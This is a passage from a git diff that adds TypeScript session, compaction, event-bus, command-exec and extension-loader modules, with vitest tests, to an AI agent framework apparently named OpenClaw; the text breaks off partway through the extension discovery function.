type CompactionPreparation, + type CompactionResult, + type CompactionSettings, + type ContextUsageEstimate, + type Result, +} from "../../runtime/index.js"; +import type { AgentMessage, StreamFn, ThinkingLevel } from "../../runtime/index.js"; +import type { SessionEntry } from "../session-manager.js"; + +export { + calculateContextTokens, + DEFAULT_COMPACTION_SETTINGS, + estimateContextTokens, + estimateTokens, + findCutPoint, + findTurnStartIndex, + getLastAssistantUsage, + serializeConversation, + shouldCompact, + type CompactionDetails, + type CompactionPreparation, + type CompactionResult, + type CompactionSettings, + type ContextUsageEstimate, +}; + +function unwrapCompactionResult(result: Result): T { + if (result.ok) { + return result.value; + } + throw result.error; +} + +export function prepareCompaction( + pathEntries: SessionEntry[], + settings: CompactionSettings, +): CompactionPreparation | undefined { + return unwrapCompactionResult(prepareCompactionCore(pathEntries, settings)); +} + +export async function generateSummary( + currentMessages: AgentMessage[], + model: Model, + reserveTokens: number, + apiKey: string | undefined, + headers?: Record, + signal?: AbortSignal, + customInstructions?: string, + previousSummary?: string, + thinkingLevel?: ThinkingLevel, + streamFn?: StreamFn, +): Promise { + return unwrapCompactionResult( + await generateSummaryCore( + currentMessages, + model, + reserveTokens, + apiKey, + headers, + signal, + customInstructions, + previousSummary, + thinkingLevel, + streamFn as unknown as CoreStreamFn | undefined, + openClawAgentCoreRuntime, + ), + ); +} + +export async function compact( + preparation: CompactionPreparation, + model: Model, + apiKey: string | undefined, + headers?: Record, + customInstructions?: string, + signal?: AbortSignal, + thinkingLevel?: ThinkingLevel, + streamFn?: StreamFn, +): Promise { + return unwrapCompactionResult( + await compactCore( + preparation, + model, + apiKey, + headers, + customInstructions, + signal, + thinkingLevel, + streamFn as unknown as CoreStreamFn | undefined, + openClawAgentCoreRuntime, + ), + ); +} diff --git a/src/agents/sessions/compaction/index.ts b/src/agents/sessions/compaction/index.ts new file mode 100644 index 00000000000..4f8ad306835 --- /dev/null +++ b/src/agents/sessions/compaction/index.ts @@ -0,0 +1,6 @@ +/** + * Compaction and summarization utilities. + */ + +export * from "./branch-summarization.js"; +export * from "./compaction.js"; diff --git a/src/agents/sessions/defaults.ts b/src/agents/sessions/defaults.ts new file mode 100644 index 00000000000..fca09bd592b --- /dev/null +++ b/src/agents/sessions/defaults.ts @@ -0,0 +1,3 @@ +import type { ThinkingLevel } from "../runtime/index.js"; + +export const DEFAULT_THINKING_LEVEL: ThinkingLevel = "medium"; diff --git a/src/agents/sessions/diagnostics.ts b/src/agents/sessions/diagnostics.ts new file mode 100644 index 00000000000..693a4ac8d88 --- /dev/null +++ b/src/agents/sessions/diagnostics.ts @@ -0,0 +1,15 @@ +export interface ResourceCollision { + resourceType: "extension" | "skill" | "prompt" | "theme"; + name: string; // skill name, command/tool/flag name, prompt name, theme name + winnerPath: string; + loserPath: string; + winnerSource?: string; // e.g., "npm:foo", "git:...", "local" + loserSource?: string; +} + +export interface ResourceDiagnostic { + type: "warning" | "error" | "collision"; + message: string; + path?: string; + collision?: ResourceCollision; +} diff --git a/src/agents/sessions/event-bus.ts b/src/agents/sessions/event-bus.ts new file mode 100644 index 00000000000..870e393f038 --- /dev/null +++ b/src/agents/sessions/event-bus.ts @@ -0,0 +1,33 @@ +import { EventEmitter } from "node:events"; + +export interface EventBus { + emit(channel: string, data: unknown): void; + on(channel: string, handler: (data: unknown) => void): () => void; +} + +export interface EventBusController extends EventBus { + clear(): void; +} + +export function createEventBus(): EventBusController { + const emitter = new EventEmitter(); + return { + emit: (channel, data) => { + emitter.emit(channel, data); + }, + on: (channel, handler) => { + const safeHandler = (data: unknown) => { + try { + handler(data); + } catch (err) { + console.error(`Event handler error (${channel}):`, err); + } + }; + emitter.on(channel, safeHandler); + return () => emitter.off(channel, safeHandler); + }, + clear: () => { + emitter.removeAllListeners(); + }, + }; +} diff --git a/src/agents/sessions/exec.ts b/src/agents/sessions/exec.ts new file mode 100644 index 00000000000..223f85a65be --- /dev/null +++ b/src/agents/sessions/exec.ts @@ -0,0 +1,111 @@ +/** + * Shared command execution utilities for extensions and custom tools. + */ + +import { spawn } from "node:child_process"; +import { waitForChildProcess } from "../utils/child-process.js"; + +/** + * Options for executing shell commands. + */ +export interface ExecOptions { + /** AbortSignal to cancel the command */ + signal?: AbortSignal; + /** Timeout in milliseconds */ + timeout?: number; + /** Working directory */ + cwd?: string; +} + +/** + * Result of executing a shell command. + */ +export interface ExecResult { + stdout: string; + stderr: string; + code: number; + killed: boolean; +} + +/** + * Execute a shell command and return stdout/stderr/code. + * Supports timeout and abort signal. + */ +export async function execCommand( + command: string, + args: string[], + cwd: string, + options?: ExecOptions, +): Promise { + return new Promise((resolve) => { + const proc = spawn(command, args, { + cwd, + shell: false, + stdio: ["ignore", "pipe", "pipe"], + }); + + let stdout = ""; + let stderr = ""; + let killed = false; + let timeoutId: NodeJS.Timeout | undefined; + + const killProcess = () => { + if (!killed) { + killed = true; + proc.kill("SIGTERM"); + // Force kill after 5 seconds if SIGTERM doesn't work + setTimeout(() => { + if (!proc.killed) { + proc.kill("SIGKILL"); + } + }, 5000); + } + }; + + // Handle abort signal + if (options?.signal) { + if (options.signal.aborted) { + killProcess(); + } else { + options.signal.addEventListener("abort", killProcess, { once: true }); + } + } + + // Handle timeout + if (options?.timeout && options.timeout > 0) { + timeoutId = setTimeout(() => { + killProcess(); + }, options.timeout); + } + + proc.stdout?.on("data", (data) => { + stdout += data.toString(); + }); + + proc.stderr?.on("data", (data) => { + stderr += data.toString(); + }); + + // Wait for process termination without hanging on inherited stdio handles + // held open by detached descendants. + waitForChildProcess(proc) + .then((code) => { + if (timeoutId) { + clearTimeout(timeoutId); + } + if (options?.signal) { + options.signal.removeEventListener("abort", killProcess); + } + resolve({ stdout, stderr, code: code ?? 0, killed }); + }) + .catch(() => { + if (timeoutId) { + clearTimeout(timeoutId); + } + if (options?.signal) { + options.signal.removeEventListener("abort", killProcess); + } + resolve({ stdout, stderr, code: 1, killed }); + }); + }); +} diff --git a/src/agents/sessions/extension-sdk.ts b/src/agents/sessions/extension-sdk.ts new file mode 100644 index 00000000000..87c0cef10fb --- /dev/null +++ b/src/agents/sessions/extension-sdk.ts @@ -0,0 +1,56 @@ +/** + * Extension-safe session SDK surface. + * + * Keep this barrel free of the session runtime and resource loader. The + * extension loader imports it to virtualize `openclaw/plugin-sdk/agent-sessions`, + * so importing loader-owned modules here creates runtime cycles. + */ + +export { getAgentDir, VERSION } from "../config.js"; +export * from "./auth-storage.js"; +export * from "./bash-executor.js"; +export * from "./compaction/index.js"; +export * from "./event-bus.js"; +export type { ReadonlyFooterDataProvider } from "./footer-data-provider.js"; +export { convertToLlm } from "./messages.js"; +export * from "./model-registry.js"; +export * from "./model-resolver.js"; +export * from "./package-manager.js"; +export type { PromptTemplate } from "./prompt-templates.js"; +export type { ResourceCollision, ResourceDiagnostic } from "./diagnostics.js"; +export * from "./session-manager.js"; +export { + FileSettingsStorage, + InMemorySettingsStorage, + SettingsManager, + type BranchSummarySettings, + type ImageSettings, + type MarkdownSettings, + type PackageSource, + type ProviderRetrySettings, + type RetrySettings, + type Settings, + type SettingsError, + type SettingsScope, + type SettingsStorage, + type TerminalSettings, + type ThinkingBudgetsSettings, + type TransportSetting, + type WarningSettings, +} from "./settings-manager.js"; +export type { Skill } from "./skills.js"; +export * from "./source-info.js"; +export * from "./tools/index.js"; +export type * from "./extensions/types.js"; +export { + defineTool, + isBashToolResult, + isEditToolResult, + isFindToolResult, + isGrepToolResult, + isLsToolResult, + isReadToolResult, + isToolCallEventType, + isWriteToolResult, +} from "./extensions/types.js"; +export { wrapRegisteredTool, wrapRegisteredTools } from "./extensions/wrapper.js"; diff --git a/src/agents/sessions/extensions/index.ts b/src/agents/sessions/extensions/index.ts new file mode 100644 index 00000000000..7439f208749 --- /dev/null +++ b/src/agents/sessions/extensions/index.ts @@ -0,0 +1,172 @@ +/** + * Extension system for lifecycle events and custom tools. + */ + +export type { SlashCommandInfo, SlashCommandSource } from "../slash-commands.js"; +export type { SourceInfo } from "../source-info.js"; +export { + createExtensionRuntime, + discoverAndLoadExtensions, + loadExtensionFromFactory, + loadExtensions, +} from "./loader.js"; +export type { + ExtensionErrorListener, + ForkHandler, + NavigateTreeHandler, + NewSessionHandler, + ShutdownHandler, + SwitchSessionHandler, +} from "./runner.js"; +export { ExtensionRunner } from "./runner.js"; +export type { + AfterProviderResponseEvent, + AgentEndEvent, + AgentStartEvent, + // Re-exports + AgentToolResult, + AgentToolUpdateCallback, + AppendEntryHandler, + // App keybindings (for custom editors) + AppKeybinding, + AutocompleteProviderFactory, + // Events - Tool (ToolCallEvent types) + BashToolCallEvent, + BashToolResultEvent, + BeforeAgentStartEvent, + BeforeAgentStartEventResult, + BeforeProviderRequestEvent, + BeforeProviderRequestEventResult, + BuildSystemPromptOptions, + // Context + CompactOptions, + // Events - Agent + ContextEvent, + // Event Results + ContextEventResult, + ContextUsage, + CustomToolCallEvent, + CustomToolResultEvent, + EditorFactory, + EditToolCallEvent, + EditToolResultEvent, + ExecOptions, + ExecResult, + Extension, + ExtensionActions, + // API + ExtensionAPI, + ExtensionCommandContext, + ExtensionCommandContextActions, + ExtensionContext, + ExtensionContextActions, + // Errors + ExtensionError, + ExtensionEvent, + ExtensionFactory, + ExtensionFlag, + ExtensionHandler, + // Runtime + ExtensionRuntime, + ExtensionShortcut, + ExtensionUIContext, + ExtensionUIDialogOptions, + ExtensionWidgetOptions, + FindToolCallEvent, + FindToolResultEvent, + GetActiveToolsHandler, + GetAllToolsHandler, + GetCommandsHandler, + GetThinkingLevelHandler, + GrepToolCallEvent, + GrepToolResultEvent, + // Events - Input + InputEvent, + InputEventResult, + InputSource, + KeybindingsManager, + LoadExtensionsResult, + LsToolCallEvent, + LsToolResultEvent, + // Events - Message + MessageEndEvent, + // Message Rendering + MessageRenderer, + MessageRenderOptions, + MessageStartEvent, + MessageUpdateEvent, + ModelSelectEvent, + ModelSelectSource, + // Provider Registration + ProviderConfig, + ProviderModelConfig, + ReadToolCallEvent, + ReadToolResultEvent, + // Commands + RegisteredCommand, + RegisteredTool, + ReplacedSessionContext, + ResolvedCommand, + // Events - Resources + ResourcesDiscoverEvent, + ResourcesDiscoverResult, + SendMessageHandler, + SendUserMessageHandler, + SessionBeforeCompactEvent, + SessionBeforeCompactResult, + SessionBeforeForkEvent, + SessionBeforeForkResult, + SessionBeforeSwitchEvent, + SessionBeforeSwitchResult, + SessionBeforeTreeEvent, + SessionBeforeTreeResult, + SessionCompactEvent, + SessionEvent, + SessionShutdownEvent, + // Events - Session + SessionStartEvent, + SessionTreeEvent, + SetActiveToolsHandler, + SetLabelHandler, + SetModelHandler, + SetThinkingLevelHandler, + TerminalInputHandler, + // Events - Tool + ToolCallEvent, + ToolCallEventResult, + // Tools + ToolDefinition, + // Events - Tool Execution + ToolExecutionEndEvent, + // Tool execution mode + ToolExecutionMode, + ToolExecutionStartEvent, + ToolExecutionUpdateEvent, + ToolInfo, + ToolRenderResultOptions, + ToolResultEvent, + ToolResultEventResult, + TreePreparation, + TurnEndEvent, + TurnStartEvent, + // Events - User Bash + UserBashEvent, + UserBashEventResult, + WidgetPlacement, + WorkingIndicatorOptions, + WriteToolCallEvent, + WriteToolResultEvent, +} from "./types.js"; +// Type guards +export { + defineTool, + isBashToolResult, + isEditToolResult, + isFindToolResult, + isGrepToolResult, + isLsToolResult, + isReadToolResult, + isToolCallEventType, + isWriteToolResult, +} from "./types.js"; +export { wrapRegisteredTool, wrapRegisteredTools } from "./wrapper.js"; diff --git a/src/agents/sessions/extensions/loader.bun-virtual-modules.test.ts b/src/agents/sessions/extensions/loader.bun-virtual-modules.test.ts new file mode 100644 index 00000000000..6dbc6fdf652 --- /dev/null +++ b/src/agents/sessions/extensions/loader.bun-virtual-modules.test.ts @@ -0,0 +1,62 @@ +import { mkdtemp, rm, writeFile } from "node:fs/promises"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +const jitiCalls = vi.hoisted(() => ({ + options: [] as Array>, +})); + +vi.mock("jiti/static", () => ({ + createJiti: vi.fn((_url: string, options: Record) => { + jitiCalls.options.push(options); + return { + import: vi.fn( + async () => async (api: { registerCommand: (id: string, command: unknown) => void }) => { + api.registerCommand("bun-virtual-module-probe", { + description: "probe", + handler() {}, + }); + }, + ), + }; + }), +})); + +vi.mock("../../config.js", async (importOriginal) => { + const actual = await importOriginal(); + return { ...actual, isBunBinary: true }; +}); + +const tempDirs: string[] = []; + +afterEach(async () => { + jitiCalls.options.length = 0; + await Promise.all(tempDirs.splice(0).map((dir) => rm(dir, { force: true, recursive: true }))); +}); + +describe("loadExtensions in Bun binary mode", () => { + it("virtualizes scoped and unscoped SDK module ids", async () => { + const { loadExtensions } = await import("./loader.js"); + const dir = await mkdtemp(join(tmpdir(), "openclaw-extension-sdk-")); + tempDirs.push(dir); + const extensionPath = join(dir, "extension.ts"); + await writeFile(extensionPath, "export default function extension() {}\n"); + + const result = await loadExtensions([extensionPath], dir); + + expect(result.errors).toEqual([]); + expect(jitiCalls.options).toHaveLength(1); + const virtualModules = jitiCalls.options[0]?.virtualModules as Record; + expect(Object.keys(virtualModules)).toEqual( + expect.arrayContaining([ + "openclaw/plugin-sdk/agent-core", + "@openclaw/plugin-sdk/agent-core", + "openclaw/plugin-sdk/llm", + "@openclaw/plugin-sdk/llm", + "openclaw/plugin-sdk/agent-sessions", + "@openclaw/plugin-sdk/agent-sessions", + ]), + ); + }); +}); diff --git a/src/agents/sessions/extensions/loader.test.ts b/src/agents/sessions/extensions/loader.test.ts new file mode 100644 index 00000000000..e2f0e06f116 --- /dev/null +++ b/src/agents/sessions/extensions/loader.test.ts @@ -0,0 +1,76 @@ +import { mkdtemp, rm, writeFile } from "node:fs/promises"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { afterEach, describe, expect, it } from "vitest"; +import { loadExtensions } from "./loader.js"; + +const tempDirs: string[] = []; + +afterEach(async () => { + await Promise.all(tempDirs.splice(0).map((dir) => rm(dir, { force: true, recursive: true }))); +}); + +describe("loadExtensions", () => { + it("resolves the generic LLM plugin SDK subpath in jiti-loaded extensions", async () => { + const dir = await mkdtemp(join(tmpdir(), "openclaw-extension-sdk-")); + tempDirs.push(dir); + const extensionPath = join(dir, "extension.ts"); + await writeFile( + extensionPath, + ` +import { createAssistantMessageEventStream } from "openclaw/plugin-sdk/llm"; + +export default async function(api) { + const stream = createAssistantMessageEventStream(); + if (!stream || typeof stream.result !== "function") { + throw new Error("generic LLM helper unavailable"); + } + api.registerCommand("sdk-subpath-probe", { + description: "probe", + handler() {}, + }); +} +`, + ); + + const result = await loadExtensions([extensionPath], dir); + + expect(result.errors).toEqual([]); + expect(result.extensions).toHaveLength(1); + expect(result.extensions[0]?.commands.has("sdk-subpath-probe")).toBe(true); + }); + + it("resolves generic plugin SDK subpaths through the shared plugin loader aliases", async () => { + const dir = await mkdtemp(join(tmpdir(), "openclaw-extension-sdk-")); + tempDirs.push(dir); + const extensionPath = join(dir, "extension.ts"); + await writeFile( + extensionPath, + ` +import { normalizeLowercaseStringOrEmpty } from "openclaw/plugin-sdk/string-coerce-runtime"; +import { defineTool } from "@openclaw/plugin-sdk/agent-sessions"; + +export default async function(api) { + if (normalizeLowercaseStringOrEmpty(" MIXED ") !== "mixed") { + throw new Error("generic sdk subpath unavailable"); + } + const tool = defineTool({ + name: "shared-sdk-probe", + description: "probe", + parameters: { type: "object", properties: {}, additionalProperties: false }, + handler() { + return { content: [{ type: "text", text: "ok" }] }; + }, + }); + api.registerTool(tool); +} +`, + ); + + const result = await loadExtensions([extensionPath], dir); + + expect(result.errors).toEqual([]); + expect(result.extensions).toHaveLength(1); + expect(result.extensions[0]?.tools.has("shared-sdk-probe")).toBe(true); + }); +}); diff --git a/src/agents/sessions/extensions/loader.ts b/src/agents/sessions/extensions/loader.ts new file mode 100644 index 00000000000..1354a845be6 --- /dev/null +++ b/src/agents/sessions/extensions/loader.ts @@ -0,0 +1,618 @@ +/** + * Extension loader - loads TypeScript extension modules using jiti. + * + */ + +import * as fs from "node:fs"; +import { createRequire } from "node:module"; +import * as os from "node:os"; +import * as path from "node:path"; +import { fileURLToPath } from "node:url"; +import { createJiti } from "jiti/static"; +import * as bundledLlm from "openclaw/plugin-sdk/llm"; +// Static imports of packages that extensions may use. +// These MUST be static so Bun bundles them into the compiled binary. +// The virtualModules option then makes them available to extensions. +import * as bundledTypebox from "typebox"; +import * as bundledTypeboxCompile from "typebox/compile"; +import * as bundledTypeboxValue from "typebox/value"; +import { + buildPluginLoaderAliasMap, + buildPluginLoaderJitiOptions, +} from "../../../plugins/sdk-alias.js"; +import { CONFIG_DIR_NAME, getAgentDir, isBunBinary } from "../../config.js"; +import * as bundledAgentCore from "../../runtime/index.js"; +import { createEventBus, type EventBus } from "../event-bus.js"; +import type { ExecOptions } from "../exec.js"; +import { execCommand } from "../exec.js"; +import * as bundledAgentSessions from "../extension-sdk.js"; +import { createSyntheticSourceInfo } from "../source-info.js"; +import type { + Extension, + ExtensionAPI, + ExtensionFactory, + ExtensionRuntime, + ExtensionShortcut, + LoadExtensionsResult, + MessageRenderer, + ProviderConfig, + RegisteredCommand, + ToolDefinition, +} from "./types.js"; + +/** Modules available to extensions via virtualModules (for compiled Bun binary) */ +const VIRTUAL_MODULES: Record = { + typebox: bundledTypebox, + "typebox/compile": bundledTypeboxCompile, + "typebox/value": bundledTypeboxValue, + "@sinclair/typebox": bundledTypebox, + "@sinclair/typebox/compile": bundledTypeboxCompile, + "@sinclair/typebox/value": bundledTypeboxValue, + "openclaw/plugin-sdk/agent-core": bundledAgentCore, + "@openclaw/plugin-sdk/agent-core": bundledAgentCore, + "openclaw/plugin-sdk/llm": bundledLlm, + "@openclaw/plugin-sdk/llm": bundledLlm, + "openclaw/plugin-sdk/agent-sessions": bundledAgentSessions, + "@openclaw/plugin-sdk/agent-sessions": bundledAgentSessions, +}; + +const require = createRequire(import.meta.url); + +let aliases: Record | null = null; + +function resolveExtensionSafeAgentSessionsEntry(): string { + const currentDirname = path.dirname(fileURLToPath(import.meta.url)); + const jsEntry = path.resolve(currentDirname, "..", "extension-sdk.js"); + return fs.existsSync(jsEntry) ? jsEntry : path.resolve(currentDirname, "..", "extension-sdk.ts"); +} + +function getExtensionLoaderAliases(): Record { + if (aliases) { + return aliases; + } + + const agentSessionsEntry = resolveExtensionSafeAgentSessionsEntry(); + const typeboxEntry = require.resolve("typebox"); + const typeboxCompileEntry = require.resolve("typebox/compile"); + const typeboxValueEntry = require.resolve("typebox/value"); + const loaderModulePath = fileURLToPath(import.meta.url); + + aliases = { + ...buildPluginLoaderAliasMap(loaderModulePath, process.argv[1], import.meta.url), + // The public agent-sessions export includes the resource loader. Extensions + // load through the resource loader, so use the cycle-safe SDK barrel here. + "openclaw/plugin-sdk/agent-sessions": agentSessionsEntry, + "@openclaw/plugin-sdk/agent-sessions": agentSessionsEntry, + typebox: typeboxEntry, + "typebox/compile": typeboxCompileEntry, + "typebox/value": typeboxValueEntry, + "@sinclair/typebox": typeboxEntry, + "@sinclair/typebox/compile": typeboxCompileEntry, + "@sinclair/typebox/value": typeboxValueEntry, + }; + + return aliases; +} + +const UNICODE_SPACES = /[\u00A0\u2000-\u200A\u202F\u205F\u3000]/g; + +function normalizeUnicodeSpaces(str: string): string { + return str.replace(UNICODE_SPACES, " "); +} + +function expandPath(p: string): string { + const normalized = normalizeUnicodeSpaces(p); + if (normalized.startsWith("~/")) { + return path.join(os.homedir(), normalized.slice(2)); + } + if (normalized.startsWith("~")) { + return path.join(os.homedir(), normalized.slice(1)); + } + return normalized; +} + +function resolvePath(extPath: string, cwd: string): string { + const expanded = expandPath(extPath); + if (path.isAbsolute(expanded)) { + return expanded; + } + return path.resolve(cwd, expanded); +} + +type HandlerFn = (...args: unknown[]) => Promise; + +/** + * Create a runtime with throwing stubs for action methods. + * Runner.bindCore() replaces these with real implementations. + */ +export function createExtensionRuntime(): ExtensionRuntime { + const notInitialized = () => { + throw new Error( + "Extension runtime not initialized. Action methods cannot be called during extension loading.", + ); + }; + const state: { staleMessage?: string } = {}; + const assertActive = () => { + if (state.staleMessage) { + throw new Error(state.staleMessage); + } + }; + + const runtime: ExtensionRuntime = { + sendMessage: notInitialized, + sendUserMessage: notInitialized, + appendEntry: notInitialized, + setSessionName: notInitialized, + getSessionName: notInitialized, + setLabel: notInitialized, + getActiveTools: notInitialized, + getAllTools: notInitialized, + setActiveTools: notInitialized, + // registerTool() is valid during extension load; refresh is only needed post-bind. + refreshTools: () => {}, + getCommands: notInitialized, + setModel: () => Promise.reject(new Error("Extension runtime not initialized")), + getThinkingLevel: notInitialized, + setThinkingLevel: notInitialized, + flagValues: new Map(), + pendingProviderRegistrations: [], + assertActive, + invalidate: (message) => { + state.staleMessage ??= + message ?? + "This extension ctx is stale after session replacement or reload. Do not use a captured api or command ctx after ctx.newSession(), ctx.fork(), ctx.switchSession(), or ctx.reload(). For newSession, fork, and switchSession, move post-replacement work into withSession and use the ctx passed to withSession. For reload, do not use the old ctx after await ctx.reload()."; + }, + // Pre-bind: queue registrations so bindCore() can flush them once the + // model registry is available. bindCore() replaces both with direct calls. + registerProvider: (name, config, extensionPath = "") => { + runtime.pendingProviderRegistrations.push({ name, config, extensionPath }); + }, + unregisterProvider: (name) => { + runtime.pendingProviderRegistrations = runtime.pendingProviderRegistrations.filter( + (r) => r.name !== name, + ); + }, + }; + + return runtime; +} + +/** + * Create the ExtensionAPI for an extension. + * Registration methods write to the extension object. + * Action methods delegate to the shared runtime. + */ +function createExtensionAPI( + extension: Extension, + runtime: ExtensionRuntime, + cwd: string, + eventBus: EventBus, +): ExtensionAPI { + const api = { + // Registration methods - write to extension + on(event: string, handler: HandlerFn): void { + runtime.assertActive(); + const list = extension.handlers.get(event) ?? []; + list.push(handler); + extension.handlers.set(event, list); + }, + + registerTool(tool: ToolDefinition): void { + runtime.assertActive(); + extension.tools.set(tool.name, { + definition: tool, + sourceInfo: extension.sourceInfo, + }); + runtime.refreshTools(); + }, + + registerCommand(name: string, options: Omit): void { + runtime.assertActive(); + extension.commands.set(name, { + name, + sourceInfo: extension.sourceInfo, + ...options, + }); + }, + + registerShortcut( + shortcut: ExtensionShortcut["shortcut"], + options: { + description?: string; + handler: (ctx: import("./types.js").ExtensionContext) => Promise | void; + }, + ): void { + runtime.assertActive(); + extension.shortcuts.set(shortcut, { shortcut, extensionPath: extension.path, ...options }); + }, + + registerFlag( + name: string, + options: { description?: string; type: "boolean" | "string"; default?: boolean | string }, + ): void { + runtime.assertActive(); + extension.flags.set(name, { name, extensionPath: extension.path, ...options }); + if (options.default !== undefined && !runtime.flagValues.has(name)) { + runtime.flagValues.set(name, options.default); + } + }, + + registerMessageRenderer(customType: string, renderer: MessageRenderer): void { + runtime.assertActive(); + extension.messageRenderers.set(customType, renderer as MessageRenderer); + }, + + // Flag access - checks extension registered it, reads from runtime + getFlag(name: string): boolean | string | undefined { + runtime.assertActive(); + if (!extension.flags.has(name)) { + return undefined; + } + return runtime.flagValues.get(name); + }, + + // Action methods - delegate to shared runtime + sendMessage(message, options): void { + runtime.assertActive(); + runtime.sendMessage(message, options); + }, + + sendUserMessage(content, options): void { + runtime.assertActive(); + runtime.sendUserMessage(content, options); + }, + + appendEntry(customType: string, data?: unknown): void { + runtime.assertActive(); + runtime.appendEntry(customType, data); + }, + + setSessionName(name: string): void { + runtime.assertActive(); + runtime.setSessionName(name); + }, + + getSessionName(): string | undefined { + runtime.assertActive(); + return runtime.getSessionName(); + }, + + setLabel(entryId: string, label: string | undefined): void { + runtime.assertActive(); + runtime.setLabel(entryId, label); + }, + + exec(command: string, args: string[], options?: ExecOptions) { + runtime.assertActive(); + return execCommand(command, args, options?.cwd ?? cwd, options); + }, + + getActiveTools(): string[] { + runtime.assertActive(); + return runtime.getActiveTools(); + }, + + getAllTools() { + runtime.assertActive(); + return runtime.getAllTools(); + }, + + setActiveTools(toolNames: string[]): void { + runtime.assertActive(); + runtime.setActiveTools(toolNames); + }, + + getCommands() { + runtime.assertActive(); + return runtime.getCommands(); + }, + + setModel(model) { + runtime.assertActive(); + return runtime.setModel(model); + }, + + getThinkingLevel() { + runtime.assertActive(); + return runtime.getThinkingLevel(); + }, + + setThinkingLevel(level) { + runtime.assertActive(); + runtime.setThinkingLevel(level); + }, + + registerProvider(name: string, config: ProviderConfig) { + runtime.assertActive(); + runtime.registerProvider(name, config, extension.path); + }, + + unregisterProvider(name: string) { + runtime.assertActive(); + runtime.unregisterProvider(name, extension.path); + }, + + events: eventBus, + } as ExtensionAPI; + + return api; +} + +async function loadExtensionModule(extensionPath: string) { + const jiti = createJiti(import.meta.url, { + ...(isBunBinary + ? { + ...buildPluginLoaderJitiOptions({}), + // Bun binaries need virtual modules because extension SDK files are + // bundled into the executable rather than present on disk. + tryNative: false, + virtualModules: VIRTUAL_MODULES, + } + : buildPluginLoaderJitiOptions(getExtensionLoaderAliases())), + moduleCache: false, + }); + + const module = await jiti.import(extensionPath, { default: true }); + const factory = module as ExtensionFactory; + return typeof factory !== "function" ? undefined : factory; +} + +/** + * Create an Extension object with empty collections. + */ +function createExtension(extensionPath: string, resolvedPath: string): Extension { + const source = + extensionPath.startsWith("<") && extensionPath.endsWith(">") + ? extensionPath.slice(1, -1).split(":")[0] || "temporary" + : "local"; + const baseDir = extensionPath.startsWith("<") ? undefined : path.dirname(resolvedPath); + + return { + path: extensionPath, + resolvedPath, + sourceInfo: createSyntheticSourceInfo(extensionPath, { source, baseDir }), + handlers: new Map(), + tools: new Map(), + messageRenderers: new Map(), + commands: new Map(), + flags: new Map(), + shortcuts: new Map(), + }; +} + +async function loadExtension( + extensionPath: string, + cwd: string, + eventBus: EventBus, + runtime: ExtensionRuntime, +): Promise<{ extension: Extension | null; error: string | null }> { + const resolvedPath = resolvePath(extensionPath, cwd); + + try { + const factory = await loadExtensionModule(resolvedPath); + if (!factory) { + return { + extension: null, + error: `Extension does not export a valid factory function: ${extensionPath}`, + }; + } + + const extension = createExtension(extensionPath, resolvedPath); + const api = createExtensionAPI(extension, runtime, cwd, eventBus); + await factory(api); + + return { extension, error: null }; + } catch (err) { + const message = err instanceof Error ? err.message : String(err); + return { extension: null, error: `Failed to load extension: ${message}` }; + } +} + +/** + * Create an Extension from an inline factory function. + */ +export async function loadExtensionFromFactory( + factory: ExtensionFactory, + cwd: string, + eventBus: EventBus, + runtime: ExtensionRuntime, + extensionPath = "", +): Promise { + const extension = createExtension(extensionPath, extensionPath); + const api = createExtensionAPI(extension, runtime, cwd, eventBus); + await factory(api); + return extension; +} + +/** + * Load extensions from paths. + */ +export async function loadExtensions( + paths: string[], + cwd: string, + eventBus?: EventBus, +): Promise { + const extensions: Extension[] = []; + const errors: Array<{ path: string; error: string }> = []; + const resolvedEventBus = eventBus ?? createEventBus(); + const runtime = createExtensionRuntime(); + + for (const extPath of paths) { + const { extension, error } = await loadExtension(extPath, cwd, resolvedEventBus, runtime); + + if (error) { + errors.push({ path: extPath, error }); + continue; + } + + if (extension) { + extensions.push(extension); + } + } + + return { + extensions, + errors, + runtime, + }; +} + +interface ResourceManifest { + extensions?: string[]; + themes?: string[]; + skills?: string[]; + prompts?: string[]; +} + +function readResourceManifest(packageJsonPath: string): ResourceManifest | null { + try { + const content = fs.readFileSync(packageJsonPath, "utf-8"); + const pkg = JSON.parse(content); + if (pkg.openclaw && typeof pkg.openclaw === "object") { + return pkg.openclaw as ResourceManifest; + } + return null; + } catch { + return null; + } +} + +function isExtensionFile(name: string): boolean { + return name.endsWith(".ts") || name.endsWith(".js"); +} + +/** + * Resolve extension entry points from a directory. + * + * Checks for: + * 1. package.json with "openclaw.extensions" field -> returns declared paths + * 2. index.ts or index.js -> returns the index file + * + * Returns resolved paths or null if no entry points found. + */ +function resolveExtensionEntries(dir: string): string[] | null { + // Check for package.json with "openclaw" field first + const packageJsonPath = path.join(dir, "package.json"); + if (fs.existsSync(packageJsonPath)) { + const manifest = readResourceManifest(packageJsonPath); + if (manifest?.extensions?.length) { + const entries: string[] = []; + for (const extPath of manifest.extensions) { + const resolvedExtPath = path.resolve(dir, extPath); + if (fs.existsSync(resolvedExtPath)) { + entries.push(resolvedExtPath); + } + } + if (entries.length > 0) { + return entries; + } + } + } + + // Check for index.ts or index.js + const indexTs = path.join(dir, "index.ts"); + const indexJs = path.join(dir, "index.js"); + if (fs.existsSync(indexTs)) { + return [indexTs]; + } + if (fs.existsSync(indexJs)) { + return [indexJs]; + } + + return null; +} + +/** + * Discover extensions in a directory. + * + * Discovery rules: + * 1. Direct files: `extensions/*.ts` or `*.js` → load + * 2. Subdirectory with index: `extensions/* /index.ts` or `index.js` → load + * 3. Subdirectory with package.json: `extensions/* /package.json` with "openclaw" field → load what it declares + * + * No recursion beyond one level. Complex packages must use package.json manifest. + */ +function discoverExtensionsInDir(dir: string): string[] { + if (!fs.existsSync(dir)) { + return []; + } + + const discovered: string[] = []; + + try { + const entries = fs.readdirSync(dir, { withFileTypes: true }); + + for (const entry of entries) { + const entryPath = path.join(dir, entry.name); + + // 1. Direct files: *.ts or *.js + if ((entry.isFile() || entry.isSymbolicLink()) && isExtensionFile(entry.name)) { + discovered.push(entryPath); + continue; + } + + // 2 & 3. Subdirectories + if (entry.isDirectory() || entry.isSymbolicLink()) { + const entries = resolveExtensionEntries(entryPath); + if (entries) { + discovered.push(...entries); + } + } + } + } catch { + return []; + } + + return discovered; +} + +/** + * Discover and load extensions from standard locations. + */ +export async function discoverAndLoadExtensions( + configuredPaths: string[], + cwd: string, + agentDir: string = getAgentDir(), + eventBus?: EventBus, +): Promise { + const allPaths: string[] = []; + const seen = new Set(); + + const addPaths = (paths: string[]) => { + for (const p of 